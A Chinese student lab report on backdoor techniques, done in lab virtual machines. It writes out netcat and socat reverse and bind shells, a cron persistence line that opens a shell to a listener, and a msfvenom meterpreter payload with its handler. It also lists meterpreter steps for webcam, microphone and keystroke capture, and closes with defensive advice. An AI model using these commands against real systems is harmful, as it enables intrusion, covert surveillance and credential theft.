Exp2 后门原理与实践 实验报告—20201229赵斌

后门原理与实践—20201229赵斌

基础问题回答

  1. 例举你能想到的一个后门进入到你系统中的可能方式?
    • 在网上下载软件的时候,后门很有可能被捆绑在下载的软件当中;
    • 浏览网页的时候,点的一些小广告可能会被植入后门;
    • 接入别人的U盘或硬盘时,有可能被植入木马;
    • 连接了不安全的网络。
  2. 例举你知道的后门如何启动起来(win及linux)的方式?
    • Windows下在控制面板的管理工具中可以设置任务计划启动,或者通过修改注册表来达到自启的目的;
    • 对后门程序进行伪装,例如重命名成某个游戏的开始程序之类的,诱骗用户点击启动;
    • Linux下可以通过cron来启动。
  3. Meterpreter有哪些给你映像深刻的功能?
    • 直接通过指令获取主机摄像头的操作让我感到有点突然,以后还是把摄像头盖住为好;
    • 获取击键记录也能得到很多信息,比如登录什么网站的密码,或者说和某人的重要聊天记录之类的,都非常容易被人窃取到进行分析;
    • 导出密码文件功能简直是有点无解,这样一来你的电脑相当于是透明的;
    • 后门进程的迁移,这样即使有管理员去查看运行的进程也很难发现后门的存在;
    • 使用后渗透攻击模块POST可以对主机进行更深入的攻击。
  4. 如何发现自己有系统有没有被安装后门?
    • 没有经过免杀处理的后门程序可能很容易就被杀毒工具扫出来,不过一般现在这样的后门也很少了;
    • 检查防火墙开启的端口和它对应的进程,如果不是系统默认开启的端口都有嫌疑,找到对应的进程,对其进行抓包分析;
    • 下载专门的监控软件,对操作系统中的进程进行监控,看是否存在异常;
    • 最好的防范措施就是提高安全意识,不乱点链接乱下文件。

常用后门工具实践

Windows获得Linux Shell

  1. 在Windows下,先使用ipconfig指令查看本机IP:

  1. 在Kali环境下,使用ifconfig查看IP

  1. 在Windows中使用ncat.exe程序监听1229端口,在Kali环境下,使用nc指令的-e选项反向连接Windows主机的1229端口。Windows下成功获得了一个Kali的shell,运行ls指令如下:

Linux获得Windows Shell

过程与之前的类似,在Kali环境下使用nc指令监听1229端口,在Windows下使用ncat.exe程序的-e选项项反向连接Kali主机的1229端口。Kali下可以看到Windows的命令提示,输入dir指令如下:

使用nc传输数据

  1. Windows下监听1229端口:

  2. Kali下连接到Windows的1229端口:

  3. 建立连接之后,就可以传输数据了,这里传输的是字符串,相当于两台主机在聊天,也可以用重定向操作符来传输文件:

实验内容

使用netcat获取主机操作Shell,cron启动

  1. 先在Windows系统下,监听1229端口。

  2. 在Kali环境下,使用man crontab指令查看crontab命令的帮助文档,从文档中我们可以知道crontab指令可以用于设置周期性被执行的指令。该命令从标准输入设备读取指令,并将其存放于crontab文件中,以供之后读取和执行。

  3. crontab -e指令编辑一条定时任务,选择编辑器时选择基本的vim编辑器就行。

  4. 在最后一行添加30 * * * * /bin/netcat 192.168.199.241 1229 -e /bin/sh,意思是在每个小时的第30分钟反向连接Windows主机的1229端口,设置成30的原因是我当时的时间是18:28,为了能立马看到效果,所以我将时间设置在了两分钟以后:

  5. 当时间到了18:30时,此时已经获得了Kali的shell,可以输入指令(如果在这之前输入指令,屏幕上不会有显示,但是等到了18:30时会立马显示出来):

使用socat获取主机操作Shell, 任务计划启动

基础知识

  1. socatncat的增强版,它使用的格式是socat [options] <address> <address>,其中两个address是必选项,而options 是可选项。
  2. socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。

实践过程

  1. 在Windows系统下,打开控制面板->管理工具->任务计划程序,创建任务,填写任务名称后,新建一个触发器:

  2. 在操作->程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:1229 exec:cmd.exe,pty,stderr,这个命令的作用是把cmd.exe绑定到端口1229,同时把cmd.exe的stderr重定向到stdout上。

  3. 创建完成之后,按Windows+L快捷键锁定计算机,再次打开时,可以发现之前创建的任务已经开始运行:

  4. 此时,在Kali环境下输入指令socat - tcp:192.168.199.241:1229,这里的第一个参数-代表标准的输入输出,第二个流连接到Windows主机的1229端口,此时可以发现已经成功获得了一个cmd shell:

使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.134 LPORT=1229 -f exe > 20201229_backdoor.exe

# -LHOST为反弹回连的IP,在这里是要Windows主动连接kali,即反弹给Kali,也就是Kali的IP:192.168.247.134
# -LPORT是回连端口
# -p 使用payload
# -payload 翻译为有效载荷,就是被运输有东西。这里windows/meterpreter/reverse_tcp就是一段shellcode
# -f 生成文件的类型
# -> 输出文件名
  1. 输入指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.247.134 LPORT=1229 -f exe > 20201229_backdoor.exe生成后门程序。

  2. 通过nc指令将生成的后门程序传送到Windows主机上

    ncat.exe -lv 1229 >20201229_backdoor.exe
    
    ncat 192.168.199.241 1229 < 20201229_backdoor.exe
    

  3. 在Kali上使用msfconsole指令进入msf控制台,使用监听模块,设置payload,设置反弹回连的IP和端口:

    use exploit/multi/handler  #使用监听模块,设置payload
    set payload windows/meterpreter/reverse_tcp #使用和生成后门程序时相同的payload
    set LHOST 192.168.247.134  #KaliIP,和生成后门程序时指定的IP相同
    set LPORT 1229
    
  4. 设置完成后,执行监听:

  5. 打开Windows上的后门程序20201229_backdoor.exe

  6. 此时Kali上已经获得了Windows主机的连接,并且得到了远程控制的shell。

使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容。

  1. 使用record_mic指令可以截获一段音频:

  2. 使用webcam_snap指令可以使用摄像头进行拍照:

  3. 使用webcam stream指令可以使用摄像头进行录像:

  4. 使用screenshot指令可以进行截屏:

  5. 使用keyscan_start指令开始记录下击键的过程,使用keyscan_dump指令读取击键的记录:

  6. 获取主机内容的文件如下:

实验中遇到的问题及解决

  • 运行后门程序20201229_backdoor.exe的时候,一直报下面这个错误,刚开始以为是自己一些杀毒软件没关,于是我把所有相关的杀毒全部关闭,把程序放进信任区,发现没用。之后我把电脑杀毒软件卸载了,又把各种注册表、组策略之类的玩意通通搞了一遍,从下午3点搞到8点,心态一度炸裂。就在我一筹莫展几近崩溃的时候,舍友的一句话点醒了我,为什么不试试把后门程序直接拖出来,不要用ncat传输。我将信将疑地试了下,居然成功了!!之后的步骤也都顺利进行。这次经历也告诉我一个道理,当所有可能性都被排除的时候,最不可能的那个便是真相了。

实验总结与体会

  • 实验过程中最大的触动还是在使用MSF的时候,非常轻易的就从Windows上获取到了许多信息,在实验成功的同时也越来越让我感觉到现在的电脑真的是不堪一击,当然很多时候还是由于我们缺乏一定的安全意识所导致的。比如说没有养成定时打补丁的习惯,又或者是在下载软件的时候没有去通过正规渠道,这些东西在平常看起来没有什么大问题,如果有一天你的电脑有了利用价值,那么黑客想要攻击你的电脑就会变得易如反掌。
  • 提高电脑的安全性还是要从我们平常做起,比如说可以经常关闭一些本机不用的端口或只允许指定的端口访问,其次要使用专杀木马的软件,为了有效地防范木马后门,还要学会对进程进行操作,时时注意系统运行状况,看看是否有一些不明进程正运行并及时地将不明进程终止掉。
posted @ 2023-03-23 23:00  20201229赵斌  阅读(30)  评论(0编辑  收藏  举报